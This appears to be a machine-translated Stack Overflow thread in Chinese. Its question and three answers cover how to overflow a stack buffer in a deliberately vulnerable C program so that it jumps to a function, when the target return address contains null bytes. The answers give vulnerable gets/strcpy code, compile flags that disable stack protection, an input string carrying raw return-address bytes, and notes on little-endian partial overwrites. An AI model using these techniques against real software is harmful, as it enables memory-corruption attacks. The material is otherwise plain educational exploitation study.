缓冲区溢出返回地址为00

时间:2011-03-25 07:27:48

标签: c security macos buffer-overflow

我只是想在下面的程序中尝试在OSX(10.6)上运行缓冲区溢出;我需要通过溢出缓冲区来使foo执行。

#include <string.h>
#include <stdio.h>
void foo() {
    printf("hacked!");
}
int main(int argc, const char *argv[]) {
    char s[100];
    strcpy(s, argv[1]);
}

我将其编译为: -

$ gcc -o test test.c -arch i386

在反汇编test时,我将foo的地址设为0x00001eda。漏洞利用不按预期工作;可能是因为返回地址应该溢出0x00001eda并包含\x00

如果目标地址有\x00,如何执行缓冲区溢出漏洞?

3 个答案:

答案 0 :(得分:2)

strcpy()函数在遇到零字节(\x00)时停止。由于您要写入堆栈的地址可能包含这样的字节,因此可以接受以下示例之一类似

<强> 声明

  

由于我无法访问OS X 10.6环境,因此使用GCC 4.5.2(MinGW 32位)在Windows 7 64位上开发并测试了以下代码。我依靠gdb来帮助确定foo()的地址和堆栈帧中返回地址的位置。有关如何使用gdb确定从缓冲区到返回地址的偏移量的进一步说明,请here


示例1

<强>

int main()
{
    char s[4];
    gets(s);
}

减少了缓冲区的大小,以便使用较短的输入文本来溢出缓冲区。

<强> 输出

  

gcc -g -fno-stack-protector -o test test.c
  printf 1234567890abcdef \ xc6 \ x13 \ x30 | ./test
  黑客攻击!


示例2

<强>

int main(int argc, const char *argv[])
{
    char s[100];
    sscanf(argv[2], "%x", &s[atoi(argv[1])]);
}

使用atoi()直接定位返回地址实际上并不是“缓冲区溢出”的一个很好的例子。但是,在堆栈框架中查找和修改返回地址是一个很好的练习。

<强> 输出

  

gcc -g -fno-stack-protector -o test test.c
  ./test 112 4013c6
  黑客攻击!

答案 1 :(得分:1)

出于某种原因,我无法使用 strcpy 覆盖堆栈和注册,即使应用程序崩溃了。

This question与您有关,我设法使用that code进行操作。

答案 2 :(得分:1)

请记住,所有整数(我很确定这包括返回地址)都以小端格式存储,这意味着最不重要的字节首先出现。

因此,所需返回地址(0x00001eda)的字节为:

0xda, 0x1e, 0x00, 0x00

查看karlphillip链接到的code。他只在其字符串的末尾插入了两个地址字节。你也可以这样做。 strcpy函数会很乐意将字符串末尾的两个字节复制到堆栈中,并愉快地添加空终止字符(\ x00)。因此strcpy可以设置伪返回地址的前3个字节。如果幸运的话,也许第4个字节已经是\ x00,因为正确返回地址的第4个字节是\ x00?

这不是我的专长,所以我可能错了。